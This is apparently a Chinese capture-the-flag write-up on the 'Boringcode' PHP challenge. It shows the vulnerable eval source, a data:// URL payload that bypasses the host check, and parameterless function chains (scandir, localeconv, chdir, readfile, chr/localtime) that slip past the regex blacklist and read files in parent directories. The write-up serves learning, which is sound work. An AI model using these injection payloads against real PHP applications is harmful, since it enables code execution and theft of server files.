前言
这次比赛没做出来,看着大佬的write up复现,思路真的很骚。
Boringcode
- 源码
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
考点1
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
这里如果没有is_valid_url($url)
是可以使用data伪协议进行绕过,但是is_valid_url($url)
对data进行了过滤使用伪协议这条数行不通,但是也学到了data伪协议可以绕过域名的限制。,但是绕过该点要不一个baidu的鸡肋跳转漏洞要不就是买个xxxbaidu.com的域名。
例如:
<?php
$url = $_POST['url'];
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
}
eval($code);
?>
payload:
url=data://baidu.com/plain;base64,cGhwaW5mbygpOw==
考点2
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
这里会把函数给替换为空,如果替换结果剩下一个“;”
那么就可以绕过这个正则。
可以观察到,这个正则只会匹配函数为纯字母并且参数为空的payload。也就是说我们传入的值必须是一个只含字母并且没有参数的函数的payload.同时可以注意到这个是可以进行一个函数的套用。那就是说让我们构造多个空参数的函数去读取flag.
我们看如下几个函数:
scandir()
var_dump(scandir('.'));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
了一看到scandir('.')
能够返回当前目录的文件列表的数组,那么怎么取出文件名和读取文件呢,可以使用:
end()//读取数组最后一个元素
readfile()//输出一个文件
那么就可以构造如下payload:
readfile(end(scandir('.')))
问题又来了,我们不不能够有这个参数那么点又如何构造呢?从大佬的write up中看到两个方法。
localeconv() var_dump(localeconv()); array(18) { ["decimal_point"]=> string(1) "." ["thousands_sep"]=> string(0) "" ["int_curr_symbol"]=> string(0) "" ["currency_symbol"]=> string(0) "" ["mon_decimal_point"]=> string(0) "" ....... }
该函数返回一个当地数字以及货币信息的数组,可以看到返回值第一个就是“.”
,而与end()相反的取第一个元素的函数有:
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
那么就可以构造如下payload.可以读取到文件本地文件。
readfile(end(scandir(pos(localeconv()))))
但是flag并不在本文件夹下,那么就需要用到改变当前目录的函数:
chdir() 函数改变当前的目录。
next() 函数将内部指针指向数组中的下一个元素,并输出。 这里可以获取到scandir()返回的".."
那么构造payload,j就可以跳转到上一目录了,大师chidr并不会返回目录列表,而是会返回一个bool值,我们怎么去读取文件呢:
chdir(next(scandir(pos(localeconv()))))
这里可以使用if()语句,也就是当跳转目录成功时候就读取当前文件。构造如下payload:
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))))
- 当然还有另外的方法,利用当前秒数构造AIISC码再用
chr()
去转码生成字符。
chr(pos(localtime()))
这里出现了一个问题,这个localtime()
只接受时间戳,那么这里又出现了其问题如果构造如下payload将无法执行。那么这里还需要不受参数影响的函数,那就time()
chr(pos(localtime(chdir(next(scandir(pos(localeconv())))))))
那么可以构造如下payload:
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))
整体构造:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
无参数函数小总结
这里是针对无参数函数利用来说的。
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)